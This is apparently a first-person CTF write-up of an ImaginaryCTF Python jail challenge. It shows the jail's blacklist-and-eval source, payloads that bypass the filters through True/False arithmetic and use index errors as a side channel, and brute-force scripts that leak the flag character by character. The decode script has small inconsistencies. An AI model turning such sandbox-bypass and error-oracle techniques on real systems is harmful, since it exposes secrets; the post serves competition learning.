(ictf) ok nice writeup
We recently competed in Imaginary ctf while all the challenges were very fun I found this one particularly interesting, hence a special writeup is justified. This is also my first one so please bear 🐻 with me and hopefully someday I’ll write one for an entire CTF.
Challenge 🎮
This was a misc category challenge and the description was as follows:
#!/usr/bin/env python3
flag = '[REDACTED]'
print("Welcome to the jail! It is so secure I even have a flag variable!")
blacklist=['0','1','2','3','4','5','6','7','8','9','_','.','=','>','<','{','}','class','global','var','local','import','exec','eval','t','set','blacklist']
while True:
inp = input("Enter input: ")
for i in blacklist:
if i in inp:
print("ok nice")
exit(0)
for i in inp:
if (ord(i) > 125) or (ord(i) < 40) or (len(set(inp))>17):
print("ok nice")
exit(0)
try:
eval(inp,{'__builtins__':None,'ord':ord,'flag':flag})
print("ok nice")
except:
print("error")
As we can see the challenge is a python jail where we have to execute the flag
variable. There are some constraints
no __builtins__
and yet _
is blacklisted. I banged my head over this for a while, and then the realisation dawned
upon me. We cannot get the flag directly but we can perform a side channel attack
ie other relevant info is leaked,
which can lead us upto the flag.
My first instinct was to use the ord
function instead of numbers since numerical digits aren’t allowed anywhere, but alas!
' and "
aren’t allowed either.
What other way to get integers?
🤔 Aha remember the thing people hate about python? True == 1
and False == 0
😈.
So we can use True
and False
to get the numbers. With this we can now go character to character.
Since we can do flag[False]
to get get the 0th character, similarly flag[True+True]
for 2nd and so on.
With this in mind, my main aim now was to throw an error when the character is right and the simples way to do that is
the age old 1/0
trick. Hence i came up with the payload.
True/(ord(flag[False])-(True+True))
So here the code will throw an err if the char at flag[0] has ascii value 2! boom! we done? NOPE! not yet 😅
The other condition requires you to have less than 17 unique characters in your payload. So poof this won’t work
any other way to throw an error? Ofc the classic index out of bounds
error. So we can use the following payload.
[flag][ord(flag[True-True])-(True+True)]
notice the sneaky True-True instead of False to reduce unique characters 👀
oof and that’s it we have arrived on the final payload now you can just write a simple script!
or get a lil ai to write it for you 😏
def find_flag_length():
length = 2
while True:
try:
sock = connect_to_server()
payload = f"flag[{'+'.join(['True']*length)}]"
response = send_receive(sock, payload)
print(response)
if "error" in response.lower():
sock.close()
return length
length += 1
except ConnectionError:
print("con err")
except:
print("err")
A basic payload of just flag[True+True .....]
will give you the length of the flag, run it till you get an error.
This gives us the length which was 24 characters, neat!
Now to get the flag we can use the following script.
def decode_flag(length):
flag = ""
for i in range(17,length):
for ascii_val in range(127,32,-1): # Printable ASCII range
try:
sock = connect_to_server()
payload = f"[flag][ord(flag[{'+'.join(['True']*i)}])-({'+'.join(['True']*ascii_val)})]"
response = send_receive(sock, payload)
print(response,'tried',ascii_val)
if "error" not in response.lower():
flag += chr(ascii_val-1)
print(f"Decoded character {i+1}/{length}: {chr(ascii_val-1)}")
break
except ConnectionError:
print(f"con err {i+1}.")
ascii_val -= 1
except:
print(f"err {i+1}.")
else:
print(f"Failed to decode character {i+1}")
flag += "?"
return flag
And voila once it’s done running which takes about 5 mins!
We have the flag!
ictf{0k_n1c3_7f4d3e5a6b}
The whole solving script is available here!
I hope you enjoyed this writeup as much as I enjoyed solving it!
Huge thanks to NoobMaster on the ICTF discord for this very cool challenge!
~ with 💖 by Om.